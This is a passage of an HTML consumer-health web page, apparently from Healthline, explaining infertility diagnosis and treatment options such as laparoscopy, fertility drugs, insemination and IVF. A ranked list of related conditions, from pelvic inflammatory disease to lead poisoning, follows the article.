with the ovaries, fallopian tubes, or uterus. They’ll look for these problems
using an X-ray, ultrasound, or laparoscopy.</p>

<p class="Body">A laparoscopy is a minimally invasive procedure performed under
general anesthesia. Your doctor will make a small incision under your navel. They’ll
then insert a small camera to look at your fallopian tubes, ovaries, and
uterus. This procedure is helpful in finding endometriosis, scarring, and
fallopian tube blockages or abnormalities.</p>

<p class="Body">Not all tests for men or women may be necessary. However,
identifying the cause of an infertility problem can take several months and can
be expensive. The <a href="http://www.mayoclinic.org/diseases-conditions/infertility/basics/causes/con-20034770" target="_blank">Mayo
Clinic</a> reports that one-third of cases never have a diagnosed, specific
cause of infertility.</p>




<h2> What Are the Treatment Options for Infertility?</h2>

<h3>Fertility Drugs</h3>

<p class="Body">Fertility drugs help regulate or trigger ovulation, but they can
also increase a woman’s chance of having twins or other multiple births.</p>

<h3>Laparoscopic Surgery</h3>

<p class="Body">Laparoscopic, or minimally invasive surgery, can help open or
repair damaged or blocked fallopian tubes.</p>

<h3>Artificial Insemination</h3>

<p class="Body">Fertility treatments are often combined with artificial
insemination, also known as intrauterine insemination. This involves placing
specially prepared sperm into a woman’s uterus. The sperm may come from a male
partner or an anonymous sperm donor.</p>

<h3>In Vitro Fertilization (IVF)</h3>

<p class="Body">In vitro fertilization (IVF) is a process in which your doctor
retrieves eggs and sperm from a woman and a man, and then combines them in a
laboratory, forming embryos. The doctor then places the embryos inside the
woman’s uterus. Doctors usually recommend IVF when all other treatments have
failed. </p>




<h2> What Is the Long-Term Outlook?</h2>


<p class="Body">If you’re having problems becoming or staying pregnant, remember
that you’re not alone. Infertility is a problem that many men and women face.
To help you cope, make sure to find support, consider your options, and manage
your stress during diagnosis and treatment. If you want to have a child, a
growing number of treatment options are available to make this possible.</p></div>
      <div class="box-byblock-sharebar-container" style="display: none">
        <div class="box-byblock c">
            <div class="byline attribution">
              Written by <span itemprop="author">Danielle Moores</span><br/>Medically Reviewed on February 25, 2016 by <a href="/health/medical-board">Michael Charles, MD</a><br /></div>
          </div>
        <div class="box-article c">
          <div class="row12">
            <div class="span8">
                <div class="hl-article-source ">
                  <p><strong>Article Sources:</strong></p>
                  <div class="basesources">
                      <ul><li>Infertility FAQs. (2015, September 16).<em> </em>Retrieved
from <a href="http://www.cdc.gov/reproductivehealth/Infertility/">http://www.cdc.gov/reproductivehealth/Infertility/</a>
</li><li>In vitro fertilization (IVF). (2015, September).
Retrieved from <a href="http://americanpregnancy.org/infertility/in-vitro-fertilization/">http://americanpregnancy.org/infertility/in-vitro-fertilization/</a></li><li>Mayo Clinic Staff. (2013, April 2). Endometriosis.
Retrieved from <a href="http://www.mayoclinic.org/diseases-conditions/endometriosis/basics/definition/con-20013968">http://www.mayoclinic.org/diseases-conditions/endometriosis/basics/definition/con-20013968</a></li><li>Mayo Clinic Staff. (2014, July 2). Infertility.
Retrieved from <a href="http://www.mayoclinic.org/diseases-conditions/infertility/basics/definition/con-20034770">http://www.mayoclinic.org/diseases-conditions/infertility/basics/definition/con-20034770</a></li></ul></div>
                </div>
              </div>
            <div class="span4 articleLogo">
                <div class="box-hrl-logo-src">
                  <div class="hrl-logo"></div>
                </div>
              </div>
            </div>
        </div>
        <div class="box-share-help-feedback c symptom-checker-feedback">
          <div class="box-link-feedback feedback-extended">
            <div class="link-feedback">
              <span class="hl-icon-share-smile"></span>
                  <span class="hl-yes-no-feedback" >Was this page helpful?
                    <a id="feedbackLink-positive" href="#overlayFeedback" rel="#overlayFeedback" data-feedback="positive" style="display: inline">Yes</a>
                    <a id="feedbackLink-negative" href="#overlayFeedback" rel="#overlayFeedback" data-feedback="negative" style="display: inline">No</a>
                  </span>
            </div>
          </div>
        </div>

        <div id="sharebar-global" class="hl-sharebar-global hl-sharebar-clinical sharebar-bottom spaceLimit">
  <ul>
<li class="hl-share-button-envelope  hl-three-icons">
      <a href="#overlayShareBarEmail" rel="#overlayShareBarEmail" data-action="email" class="hl-share-lnk-email-bottom"><span class="hl-icon-share-envelope"></span> <em>Email</em></a>
    </li>
    <li class="hl-share-button-print  hl-three-icons">
      <a data-action="print" class="hl-share-lnk-print-bottom"><span class="hl-icon-share-print"></span> <em>Print</em></a>
    </li>
    <li class="hl-share-button  hl-three-icons">
      <a><span class="hl-icon-share"></span> <em>Share</em></a>
      <div id="sharebar-global-tooltip" class="tooltip  sharebar-bottom totalIconsFour">
        <div id="sharebar-global" class="hl-sharebar-global">
          <ul>
            <li class="hl-share-button-facebook">
              <a data-action="facebook" class="hl-share-lnk-facebook-bottom"><span class="hl-icon-share-facebook"></span></a>
            </li>
            <li class="hl-share-button-twitter">
              <a data-action="twitter" class="hl-share-lnk-twitter-bottom"><span class="hl-icon-share-twitter"></span></a>
            </li>
            <li class="hl-share-button-envelope">
                <a href="#overlayShareBarEmail" rel="#overlayShareBarEmail" data-action="email" class="hl-share-lnk-email-bottom"><span class="hl-icon-share-envelope"></span></a>
              </li>
              <li class="hl-share-button-print">
                <a data-action="print" class="hl-share-lnk-print-bottom"><span class="hl-icon-share-print"></span></a>
              </li>
          </ul>
        </div>
      </div>
    </li>
  </ul>
</div>

</div>
    </div>
  </div>
<div class="hl-box-results" style="clear:both; margin-top: 20px">

<h2>See a list of possible causes in order from the most common to the least.</h2>
<div id="resultbodydiv" style="border:none;background:none;">

  <div id="resultbody">
    <div id="ts_result"><div class="hl-box-result-item">
                  <a href="/health/pelvic-inflammatory-disease-pid" class="clickable-div"></a><div class="hl-box-banner"><span class="hl-label-number">1</span></div>
              <div class="hl-box-result-article c">
              <div class="hl-article-title"><h3><a class="hl-link-article" href="/health/pelvic-inflammatory-disease-pid">Pelvic Inflammatory Disease (PID)</a></h3></div>
                <div class="hl-box-article-summary">
                <a href="/health/pelvic-inflammatory-disease-pid" class="clickable-div"></a><div class="hl-box-image-column">
                    <div class="hl-box-image-article">
                      <a href="/health/pelvic-inflammatory-disease-pid"><img class="hl-image-article" src="/hlcmsresource/images/SxC/194x105_Pelvic_Inflammatory_Disease.jpg" /></a>
                      </div>
                    <div class="hl-icon-drop-shadow"></div>
                  </div>
                  <div class="hl-box-content-column">
                <p>Pelvic inflammatory disease (PID) is an infection of the reproductive organs in women. It's marked by pain in the abdomen, especially during urination or sex.</p>
                <p class="hl-box-read-more">
                    <a href="/health/pelvic-inflammatory-disease-pid" class="hl-link-read-more">Read more</a>  <span class="hl-icon-chevron">&raquo;</span>
                  </p>
                </div>
                </div>
            </div></div><div class="hl-box-result-item">
                  <a href="/health/uterine-fibroids" class="clickable-div"></a><div class="hl-box-banner"><span class="hl-label-number">2</span></div>
              <div class="hl-box-result-article c">
              <div class="hl-article-title"><h3><a class="hl-link-article" href="/health/uterine-fibroids">Fibroids</a></h3></div>
                <div class="hl-box-article-summary">
                <a href="/health/uterine-fibroids" class="clickable-div"></a><div class="hl-box-image-column">
                    <div class="hl-box-image-article">
                      <a href="/health/uterine-fibroids"><img class="hl-image-article" src="/hlcmsresource/images/SxC/194x105_Fibroids.jpg" /></a>
                      </div>
                    <div class="hl-icon-drop-shadow"></div>
                  </div>
                  <div class="hl-box-content-column">
                <p>Fibroids are abnormal growths that develop in or on a woman's uterus. Learn about fibroids' major indicators, including heavy bleeding, pelvis pain, cramping, and bloating.</p>
                <p class="hl-box-read-more">
                    <a href="/health/uterine-fibroids" class="hl-link-read-more">Read more</a>  <span class="hl-icon-chevron">&raquo;</span>
                  </p>
                </div>
                </div>
            </div></div><div id="box-pw1" style="display: none;">
      <div id="gpt-ad-pw1" class="hl-ad-pw1"></div>
    </div>

    <div class="hl-box-result-item">
                  <a href="/health/polycystic-ovary-disease" class="clickable-div"></a><div class="hl-box-banner"><span class="hl-label-number">3</span></div>
              <div class="hl-box-result-article c">
              <div class="hl-article-title"><h3><a class="hl-link-article" href="/health/polycystic-ovary-disease">Polycystic Ovarian Syndrome</a></h3></div>
                <div class="hl-box-article-summary">
                <a href="/health/polycystic-ovary-disease" class="clickable-div"></a><div class="hl-box-image-column">
                    <div class="hl-box-image-article">
                      <a href="/health/polycystic-ovary-disease"><img class="hl-image-article" src="/hlcmsresource/images/SxC/194x105_Polycystic_Ovary_Syndrome.jpg" /></a>
                      <div class="hl-icon-attribution"><a class="hl-icon-attribution-link" href="http://commons.wikimedia.org/wiki/File:Polycystic_ovary.jpg" target="_blank">Image attribution</a></div>
                      </div>
                    <div class="hl-icon-drop-shadow"></div>
                  </div>
                  <div class="hl-box-content-column">
                <p>Many women with polycystic ovarian syndrome, a condition affecting hormone balance, are unaware they have it. What are its symptoms, and how is it treated?</p>
                <p class="hl-box-read-more">
                    <a href="/health/polycystic-ovary-disease" class="hl-link-read-more">Read more</a>  <span class="hl-icon-chevron">&raquo;</span>
                  </p>
                </div>
                </div>
            </div></div><div class="hl-box-result-item">
                  <a href="/health/endometriosis" class="clickable-div"></a><div class="hl-box-banner"><span class="hl-label-number">4</span></div>
              <div class="hl-box-result-article c">
              <div class="hl-article-title"><h3><a class="hl-link-article" href="/health/endometriosis">Endometriosis</a></h3></div>
                <div class="hl-box-article-summary">
                <a href="/health/endometriosis" class="clickable-div"></a><div class="hl-box-image-column">
                    <div class="hl-box-image-article">
                      <a href="/health/endometriosis"><img class="hl-image-article" src="/hlcmsresource/images/Static-Landing-Pages/194x105_Endometriosis.jpg" /></a>
                      <div class="hl-icon-attribution"><a class="hl-icon-attribution-link" href="http://commons.wikimedia.org/wiki/File:Endometriosis.jpg" target="_blank">Image attribution</a></div>
                      </div>
                    <div class="hl-icon-drop-shadow"></div>
                  </div>
                  <div class="hl-box-content-column">
                <p>Endometriosis is a disorder in which the tissue that forms the lining of your uterus grows outside of your uterine cavity. The lining is called the endometrium.</p>
                <p class="hl-box-read-more">
                    <a href="/health/endometriosis" class="hl-link-read-more">Read more</a>  <span class="hl-icon-chevron">&raquo;</span>
                  </p>
                </div>
                </div>
            </div></div><div class="hl-box-result-item">
                  <a href="/health/orchitis" class="clickable-div"></a><div class="hl-box-banner"><span class="hl-label-number">5</span></div>
              <div class="hl-box-result-article c">
              <div class="hl-article-title"><h3><a class="hl-link-article" href="/health/orchitis">Orchitis</a></h3></div>
                <div class="hl-box-article-summary">
                <a href="/health/orchitis" class="clickable-div"></a><div class="hl-box-image-column">
                    <div class="hl-box-image-article">
                      <a href="/health/orchitis"><img class="hl-image-article" src="/hlcmsresource/images/SxC/194x105_orchitis.jpg" /></a>
                      </div>
                    <div class="hl-icon-drop-shadow"></div>
                  </div>
                  <div class="hl-box-content-column">
                <p>Orchitis is the inflammation of the testicles. It can be caused by either a bacterial or viral infection. It's commonly caused by the mumps virus.</p>
                <p class="hl-box-read-more">
                    <a href="/health/orchitis" class="hl-link-read-more">Read more</a>  <span class="hl-icon-chevron">&raquo;</span>
                  </p>
                </div>
                </div>
            </div></div><div class="hl-box-result-item">
                  <a href="/health/std/chlamydia" class="clickable-div"></a><div class="hl-box-banner"><span class="hl-label-number">6</span></div>
              <div class="hl-box-result-article c">
              <div class="hl-article-title"><h3><a class="hl-link-article" href="/health/std/chlamydia">Chlamydia Infection</a></h3></div>
                <div class="hl-box-article-summary">
                <a href="/health/std/chlamydia" class="clickable-div"></a><p>Chlamydia is a sexually transmitted disease that should be treated quickly in order to avoid complications. It is caused by bacteria that are usually spread through sexual contact. People with chlamydia often don't hav...</p>
                <p class="hl-box-read-more">
                    <a href="/health/std/chlamydia" class="hl-link-read-more">Read more</a>  <span class="hl-icon-chevron">&raquo;</span>
                  </p>
                </div>
            </div></div><div class="hl-box-result-item">
                  <a href="/health/ovarian-cysts" class="clickable-div"></a><div class="hl-box-banner"><span class="hl-label-number">7</span></div>
              <div class="hl-box-result-article c">
              <div class="hl-article-title"><h3><a class="hl-link-article" href="/health/ovarian-cysts">Ovarian Cysts</a></h3></div>
                <div class="hl-box-article-summary">
                <a href="/health/ovarian-cysts" class="clickable-div"></a><div class="hl-box-image-column">
                    <div class="hl-box-image-article">
                      <a href="/health/ovarian-cysts"><img class="hl-image-article" src="/hlcmsresource/images/SxC/194x105_Ovarian_Cysts.jpg" /></a>
                      <div class="hl-icon-attribution"><a class="hl-icon-attribution-link" href="http://commons.wikimedia.org/wiki/File:Ultrasound_Scan_ND_0124144905_1452380.png" target="_blank">Image attribution</a></div>
                      </div>
                    <div class="hl-icon-drop-shadow"></div>
                  </div>
                  <div class="hl-box-content-column">
                <p>Most women will develop at least one cyst on their ovaries during their lives. In most cases, these cysts are painless and cause no symptoms.</p>
                <p class="hl-box-read-more">
                    <a href="/health/ovarian-cysts" class="hl-link-read-more">Read more</a>  <span class="hl-icon-chevron">&raquo;</span>
                  </p>
                </div>
                </div>
            </div></div><div class="hl-box-result-item">
                  <a href="/health/turner-syndrome" class="clickable-div"></a><div class="hl-box-banner"><span class="hl-label-number">8</span></div>
              <div class="hl-box-result-article c">
              <div class="hl-article-title"><h3><a class="hl-link-article" href="/health/turner-syndrome">Turner Syndrome (Monosomy X)</a></h3></div>
                <div class="hl-box-article-summary">
                <a href="/health/turner-syndrome" class="clickable-div"></a><div class="hl-box-image-column">
                    <div class="hl-box-image-article">
                      <a href="/health/turner-syndrome"><img class="hl-image-article" src="/hlcmsresource/images/SxC/194x105_turner_syndrome.jpg" /></a>
                      </div>
                    <div class="hl-icon-drop-shadow"></div>
                  </div>
                  <div class="hl-box-content-column">
                <p>Turner syndrome is a genetic condition caused by an abnormality on one of your sex chromosomes. It is also called monosomy X.</p>
                <p class="hl-box-read-more">
                    <a href="/health/turner-syndrome" class="hl-link-read-more">Read more</a>  <span class="hl-icon-chevron">&raquo;</span>
                  </p>
                </div>
                </div>
            </div></div><div class="hl-box-result-item">
                  <a href="/health/dysfunctional-uterine-bleeding-dub" class="clickable-div"></a><div class="hl-box-banner"><span class="hl-label-number">9</span></div>
              <div class="hl-box-result-article c">
              <div class="hl-article-title"><h3><a class="hl-link-article" href="/health/dysfunctional-uterine-bleeding-dub">Dysfunctional Uterine Bleeding (DUB)</a></h3></div>
                <div class="hl-box-article-summary">
                <a href="/health/dysfunctional-uterine-bleeding-dub" class="clickable-div"></a><div class="hl-box-image-column">
                    <div class="hl-box-image-article">
                      <a href="/health/dysfunctional-uterine-bleeding-dub"><img class="hl-image-article" src="/hlcmsresource/images/SxC/194x105_Dysfunctional_Uterine_Bleeding.jpg" /></a>
                      </div>
                    <div class="hl-icon-drop-shadow"></div>
                  </div>
                  <div class="hl-box-content-column">
                <p>Dysfunctional uterine bleeding (DUB) is a condition that affects nearly every woman at some point in her life. Also called abnormal uterine bleeding (AUB), DUB is a condition that causes vaginal bleeding to occu...</p>
                <p class="hl-box-read-more">
                    <a href="/health/dysfunctional-uterine-bleeding-dub" class="hl-link-read-more">Read more</a>  <span class="hl-icon-chevron">&raquo;</span>
                  </p>
                </div>
                </div>
            </div></div><div class="hl-box-result-item">
                  <a href="/health/pituitary-tumor" class="clickable-div"></a><div class="hl-box-double-banner"><span class="hl-label-number">10</span></div>
              <div class="hl-box-result-article c">
              <div class="hl-article-title"><h3><a class="hl-link-article" href="/health/pituitary-tumor">Pituitary Cancer</a></h3></div>
                <div class="hl-box-article-summary">
                <a href="/health/pituitary-tumor" class="clickable-div"></a><div class="hl-box-image-column">
                    <div class="hl-box-image-article">
                      <a href="/health/pituitary-tumor"><img class="hl-image-article" src="/hlcmsresource/images/SxC/194x105_Pituitary_Cancer_Tumor.jpg" /></a>
                      </div>
                    <div class="hl-icon-drop-shadow"></div>
                  </div>
                  <div class="hl-box-content-column">
                <p>The pituitary gland is a pea-size gland important to the functioning of the human body. Cancer, although rare, can develop in this gland.</p>
                <p class="hl-box-read-more">
                    <a href="/health/pituitary-tumor" class="hl-link-read-more">Read more</a>  <span class="hl-icon-chevron">&raquo;</span>
                  </p>
                </div>
                </div>
            </div></div><div class="hl-box-result-item">
                  <a href="/health/chronic-thyroiditis-hashimotos-disease" class="clickable-div"></a><div class="hl-box-double-banner"><span class="hl-label-number">11</span></div>
              <div class="hl-box-result-article c">
              <div class="hl-article-title"><h3><a class="hl-link-article" href="/health/chronic-thyroiditis-hashimotos-disease">Hashimoto's Disease</a></h3></div>
                <div class="hl-box-article-summary">
                <a href="/health/chronic-thyroiditis-hashimotos-disease" class="clickable-div"></a><div class="hl-box-image-column">
                    <div class="hl-box-image-article">
                      <a href="/health/chronic-thyroiditis-hashimotos-disease"><img class="hl-image-article" src="/hlcmsresource/images/SxC/194x105_Hashimotos_Disease.jpg" /></a>
                      <div class="hl-icon-attribution"><a class="hl-icon-attribution-link" href="http://commons.wikimedia.org/wiki/File:Hashimoto's_thyroiditis,_HE_4.jpg" target="_blank">Image attribution</a></div>
                      </div>
                    <div class="hl-icon-drop-shadow"></div>
                  </div>
                  <div class="hl-box-content-column">
                <p>Hashimoto's disease is a condition that damages the thyroid's ability to function properly. It can cause a goiter, or enlarged thyroid, which can make the front of the neck look swollen.</p>
                <p class="hl-box-read-more">
                    <a href="/health/chronic-thyroiditis-hashimotos-disease" class="hl-link-read-more">Read more</a>  <span class="hl-icon-chevron">&raquo;</span>
                  </p>
                </div>
                </div>
            </div></div><div class="hl-box-result-item">
                  <a href="/health/lead-poisoning" class="clickable-div"></a><div class="hl-box-double-banner"><span class="hl-label-number">12</span></div>
              <div class="hl-box-result-article c">
              <div class="hl-article-title"><h3><a class="hl-link-article" href="/health/lead-poisoning">Lead Poisoning</a></h3></div>
                <div class="hl-box-article-summary">
                <a href="/health/lead-poisoning" class="clickable-div"></a><div class="hl-box-image-column">
                    <div class="hl-box-image-article">
                      <a href="/health/lead-poisoning"><img class="hl-image-article" src="/hlcmsresource/images/SxC/194x105_lead_poisoning.jpg" /></a>
                      </div>
                    <div class="hl-icon-drop-shadow"></div>
                  </div>
                  <div class="hl-box-content-column">
                <p>Lead is a toxic metal and a very strong poison. Lead poisoning is serious and sometimes fatal. Discover the causes, treatments, and tips for prevention.</p>
                <p class="hl-box-read-more">
                    <a href="/health/lead-poisoning" class="hl-link-read-more">Read more</a>  <span class="hl-icon-chevron">&raquo;</span>
                  </p>
                </div>
                </div>
            </div></div></div><!-- begin message -->

   <div class="box-share-help-feedback c symptom-checker-feedback">
     <div class="box-link-feedback feedback-extended">
    <div class="link-feedback">
      <span class="hl-icon-share-smile"></span>
      <span class="hl-yes-no-feedback" >Was this page helpful?<a id="feedbackLink-positive" href="#overlayFeedback" rel="#overlayFeedback" data-feedback="positive" style="display: inline">Yes</a>
        <a id="feedbackLink-negative" href="#overlayFeedback" rel="#overlayFeedback" data-feedback="negative" style="display: inline">No</a>
      </span>
    </div>
  </div>


  <div id="overlayFeedback" class="hl-overlay">
    <div class="overlay-close-container"><div class="overlay-close hl-icon-X hl-icon-close hl-feedback-icon-close"></div></div>
    <div class="hl-clear-both"></div>
    <div id="feedback-owl-carousel" class="owl-carousel">
      <div class="item">

        <h4 class="hl-primary-heading positiveFeedback">How helpful was it?</h4>
        <h4 class="hl-primary-heading negativeFeedback">How can we improve it?</h4>
        <span id="box-msg-selection" class="box-msg-error"><span class="icon-error">&#10006;</span> <span id="errorMsgSelection">Please select one of the following:</span></span>
        <ul class="feedback-options">
          <li data="0" class="positiveFeedback">
            <a class="feedback-option" data-feedback="Changed Life" value="changed life">
              <span class="hl-feedback-icons hl-icon-heart"></span>
              <span class="feedback-option-text">This article changed my life!</span>
            </a>
          </li>
          <li data="1" class="positiveFeedback">
            <a class="feedback-option" data-feedback="Helpful">
              <span class="hl-feedback-icons hl-icon-thumbs-up"></span>
              <span class="feedback-option-text">This article was informative.</span>
            </a>
          </li>
          <li data="2" class="negativeFeedback">
            <a class="feedback-option" data-feedback="Suggestion">
              <span class="hl-feedback-icons hl-icon-thumbs-down"></span>
              <span class="feedback-option-text">This article contains incorrect information.</span>
            </a>
          </li>
          <li data="3" class="negativeFeedback">
            <a class="feedback-option" data-feedback="Not Helpful">
              <span class="hl-feedback-icons hl-icon-exclamation"></span>
              <span class="feedback-option-text">This article doesn't have the information I'm looking for.</span>
            </a>
          </li>
          <li data="4" class="allFeedback">
            <a class="feedback-option" data-feedback="Question">
              <span class="hl-feedback-icons hl-icon-question-mark"></span>
              <span class="feedback-option-text">I have a medical question.</span>
            </a>
          </li>
        </ul>
      </div>

      <div class="item">
        <div class="choice-selection"> </div>
        <a class="change-choice">Change</a>
        <div class="hl-clear-div"></div>

        <div class="overlay-content">
          <div id="feedbackformdiv" class="box-form-feedback">
            <form id="feedbackform" action="/v2/widgetemail">

              <div id="imuidDiv" style="width:1px;height:1px;overflow:hidden"></div>

              <input type="hidden" name="to" value="hrl"/>
              <input id="urlfield" type="hidden" name="urlfield" value=""/>
              <input id="feedback" type="hidden" name="feedback" value=""/>
              <input type="hidden" name="pageLink" value="page link">
              <input type="hidden" name="pageTitle" value="page title">
              <input type="hidden" name="vars[generalhealth]" value="1"/>
              <input type="hidden" name="vars[source]" value="feedback_widget"/>

              <!-- for sailthru after BE accepts source vars -->
              <!-- <input type="hidden" name="vars[source]" value="feedback_subscribe"/> -->

              <p class="box-textarea">
                <label class="hl-feedback-subheader" id="hl-feedback-message-subheader">Let us know how we can improve this article.</label>
                <textarea id="feedbacktextarea" class="field-message" rows="4" cols="60" maxlength="1500" name="messagetext"></textarea>
              </p>
              <p class="box-message">NOTE: Healthline isn't a healthcare provider. We can't respond to health questions or give you medical advice.</p>

              <p>
                <label class="hl-feedback-subheader">Your email</label>&nbsp;<br />
                <input id="feedbackemail" type="email" class="field-email-address" name="emailaddress" />
                <span id="box-msg-email" class="box-msg-error"><span class="icon-error">&#10006;</span> <span id="errorMsgEmail">Please enter your email</span></span>
              </p>

              <p>
                <label class="hl-feedback-subheader">Your name</label>&nbsp;<span id="box-msg-name" class="box-msg-error"><span class="icon-error">&#10006;</span> <span id="errorMsgName">Please enter your name</span></span><br/>
                <input id="nametext" type="text" class="field-name" name="nametext" />
              </p>

              <div id="charcount" class="textarea-char-count">0</div>

              <p class="HLnewsletter">
                <input class="healthlineNewsletter" id="copy" type="checkbox" name="newsletter"> <label for="copy" >Sign me up for Healthline's Newsletter</label>
              </p>

              <p class="box-buttons">
                <button class="btn-send-msg">Done</button>
                <span class="box-loading"><img src="/resources/base/images/ajax-loader.gif" alt="" /></span>
              </p>

            </form>
            <p class="box-privacy"><span class="icon-lock"></span> We won't share your email address. <a href="/health/privacy-policy" target="_blank">Privacy policy</a>. Any information you provide to us via this website may be placed by us on servers located in countries outside of the EU. If you do not agree to such placement, do not provide the information.</p>

            <div id="apiContainer" data-is-use-rebuild="true" data-api-url="api-stage.healthline.com:8080"></div>
          </div>

          <div id="medicalDisclaimer">

            <div class="hl-telehealth-subline">
              We’re unable to offer personal health advice, but we’ve partnered with trusted telehealth provider Amwell, who can connect you with a doctor. Try Amwell telehealth for $1 by using the code HEALTHLINE.
            </div>

            <div class="hl-doctor-image">
              <img nopin="nopin" src="/resources/base/images/hl-feedback-doctor.png"/>
            </div>

            <div class="hl-amwell-logo-box">
              <img nopin="nopin" src="/resources/base/images/amwel_bw_480.png" height="40px"/>
            </div>

            <div class="hl-telehealth-coupon-box">
              <div class="hl-coupon-box hl-text-center">
                Use code <span class="hl-coupon-code">HEALTHLINE</span>
              </div>
            </div>

            <div class="box-buttons hl-telehealth-button-box">
              <a class="btn-send-msg" href="http://amwell.go2cloud.org/aff_c?offer_id=4&aff_id=1158&source=feedbackwidget" target="_blank">Start my consult for $1</a>
            </div>
            <div class="medical-emergency-warning">
              If you're facing a medical emergency, call your local emergency services immediately, or visit the nearest emergency room or urgent care center.
            </div>
          </div>

          <div id="submissionerror" class="box-submit-error">
            <h2>We're sorry, an error occurred.</h2>
            <p>We are unable to collect your feedback at this time. However, your feedback is important to us. Please try again later.</p>
          </div>
        </div></div>

      <div class="item">
        <div class="feedback-facebook">
          <h2 class="final-feedback-header">We appreciate your helpful feedback!</h2>
          <p class="final-feedback-paragraph">Let's be friends &mdash; join our Facebook community.</p>
          <div>
            <img nopin="nopin" src="/resources/base/images/feedback-illustrations-01-positive.png">
          </div>
          <a href="https://www.facebook.com/healthline/" target="_blank"><img src="/resources/base/images/FB-join-us-button.png"></a>
        </div>
        <div class="negativeFeedback-finalSlide2">
          <h2 class="final-feedback-header">Thank you for your helpful suggestion.</h2>
          <p class="final-feedback-paragraph">We&#39;ll share your response with our medical review team, who will update any incorrect information in the article.</p>
          <img nopin="nopin" src="/resources/base/images/feedback-illustrations-02-negative.png">
        </div>
        <div class="negativeFeedback-finalSlide3">
          <h2 class="final-feedback-header">Thank you for sharing your feedback.</h2>
          <p class="final-feedback-paragraph">We&#39;re sorry you&#39;re unsatisfied with what you&#39;ve read. Your suggestions will help us improve this article.</p>
          <img nopin="nopin" src="/resources/base/images/feedback-illustrations-02-negative.png">
        </div>
      </div>
    </div>
  </div>

  </div>

   <div id="sharebar-global" class="hl-sharebar-global hl-sharebar-clinical sharebar-bottom spaceLimit">
  <ul>
<li class="hl-share-button-envelope  hl-three-icons">
      <a href="#overlayShareBarEmail" rel="#overlayShareBarEmail" data-action="email" class="hl-share-lnk-email-bottom"><span class="hl-icon-share-envelope"></span> <em>Email</em></a>
    </li>
    <li class="hl-share-button-print  hl-three-icons">
      <a data-action="print" class="hl-share-lnk-print-bottom"><span class="hl-icon-share-print"></span> <em>Print</em></a>
    </li>
    <li class="hl-share-button  hl-three-icons">
      <a><span class="hl-icon-share"></span> <em>Share</em></a>
      <div id="sharebar-global-tooltip" class="tooltip  sharebar-bottom totalIconsFour">
        <div id="sharebar-global" class="hl-sharebar-global">
          <ul>
            <li class="hl-share-button-facebook">
              <a data-action="facebook" class="hl-share-lnk-facebook-bottom"><span class="hl-icon-share-facebook"></span></a>
            </li>
            <li class="hl-share-button-twitter">
              <a data-action="twitter" class="hl-share-lnk-twitter-bottom"><span class="hl-icon-share-twitter"></span></a>
            </li>
            <li class="hl-share-button-envelope">
                <a href="#overlayShareBarEmail" rel="#overlayShareBarEmail" data-action="email" class="hl-share-lnk-email-bottom"><span class="hl-icon-share-envelope"></span></a>
              </li>
              <li class="hl-share-button-print">
                <a data-action="print" class="hl-share-lnk-print-bottom"><span class="hl-icon-share-print"></span></a>
              </li>
          </ul>
        </div>
      </div>
    </li>
  </ul>
</div>

<div class="hl-box-disclaimer">
    This feature is for informational purposes only and should not be used to diagnose.<br>Please consult a healthcare professional if you have health concerns.
  </div>

</div>
</div> </div><div class="clear-both"></div>

<div id="ss_picklist">
  <div class="hl-box">
    <div class="box-title"><a href="#" class="float-right" onclick="picklist.picklistClose();return false;"><img src="/images/icon_close.v1.20180302195119.gif" width="13" height="13" border="0" alt="Close Window"/></a>
      <div>Add a symptom</div>
    </div>
    <div class="box-content">
      <div class="div-padding-small">
        <h3>Click to add a symptom to your list</h3>
        <div id="addcontainer">
          <ul id="addtab">
            <li id="tab1" class="active" onclick="picklist.picklistAtoz()"><span class="hl-orange">Top Symptoms</span></li>
          </ul>
        </div>
        <div id="ss_picklist_container">
          <div id="ss_picklist_top50">
            <table cellpadding="0" cellspacing="0" class="table-links div-margin-t-medium">
              <tr>
                <td width="50%">
                  <a href="/symptomsearch?addterm=Abdominal bloating&amp;addterm=Infertility">Abdominal bloating</a>
                  <a href="/symptomsearch?addterm=Abdominal pain&amp;addterm=Infertility">Abdominal pain</a>
                  <a href="/symptomsearch?addterm=Anxiety&amp;addterm=Infertility">Anxiety</a>
                  <a href="/symptomsearch?addterm=Back pain&amp;addterm=Infertility">Back pain</a>
                  <a href="/symptomsearch?addterm=Blood in urine&amp;addterm=Infertility">Blood in urine</a>
                  <a href="/symptomsearch?addterm=Burning sensation&amp;addterm=Infertility">Burning sensation</a>
                  <a href="/symptomsearch?addterm=Chest pain&amp;addterm=Infertility">Chest pain</a>
                  <a href="/symptomsearch?addterm=Chills&amp;addterm=Infertility">Chills</a>
                  <a href="/symptomsearch?addterm=Constipation&amp;addterm=Infertility">Constipation</a>
                  <a href="/symptomsearch?addterm=Cough&amp;addterm=Infertility">Cough</a>
                  <a href="/symptomsearch?addterm=Depression&amp;addterm=Infertility">Depression</a>
                  <a href="/symptomsearch?addterm=Diarrhea&amp;addterm=Infertility">Diarrhea</a>
                  <a href="/symptomsearch?addterm=Discolored skin patches&amp;addterm=Infertility">Discolored skin patches</a>
                  <a href="/symptomsearch?addterm=Dizziness&amp;addterm=Infertility">Dizziness</a>
                  <a href="/symptomsearch?addterm=Edema&amp;addterm=Infertility">Edema</a>
                  <a href="/symptomsearch?addterm=Fatigue&amp;addterm=Infertility">Fatigue</a>
                  <a href="/symptomsearch?addterm=Fever&amp;addterm=Infertility">Fever</a>
                  <a href="/symptomsearch?addterm=Foot pain&amp;addterm=Infertility">Foot pain</a>
                  <a href="/symptomsearch?addterm=Frequent urination&amp;addterm=Infertility">Frequent urination</a>
                  <a href="/symptomsearch?addterm=Gas&amp;addterm=Infertility">Gas</a>
                  <a href="/symptomsearch?addterm=Hair loss&amp;addterm=Infertility">Hair loss</a>
                  <a href="/symptomsearch?addterm=Headache&amp;addterm=Infertility">Headache</a>
                  <a href="/symptomsearch?addterm=Heartburn&amp;addterm=Infertility">Heartburn</a>
                  <a href="/symptomsearch?addterm=Hiccups&amp;addterm=Infertility">Hiccups</a>
                  <a href="/symptomsearch?addterm=Hip pain&amp;addterm=Infertility">Hip pain</a>
                  <a href="/symptomsearch?addterm=Increase in blood pressure&amp;addterm=Infertility">Increase in blood pressure</a>
                  </td>
                <td width="50%">
                  <a href="/symptomsearch?addterm=Insomnia&amp;addterm=Infertility">Insomnia</a>
                  <a href="/symptomsearch?addterm=Itching&amp;addterm=Infertility">Itching</a>
                  <a href="/symptomsearch?addterm=Joint pain&amp;addterm=Infertility">Joint pain</a>
                  <a href="/symptomsearch?addterm=Knee pain&amp;addterm=Infertility">Knee pain</a>
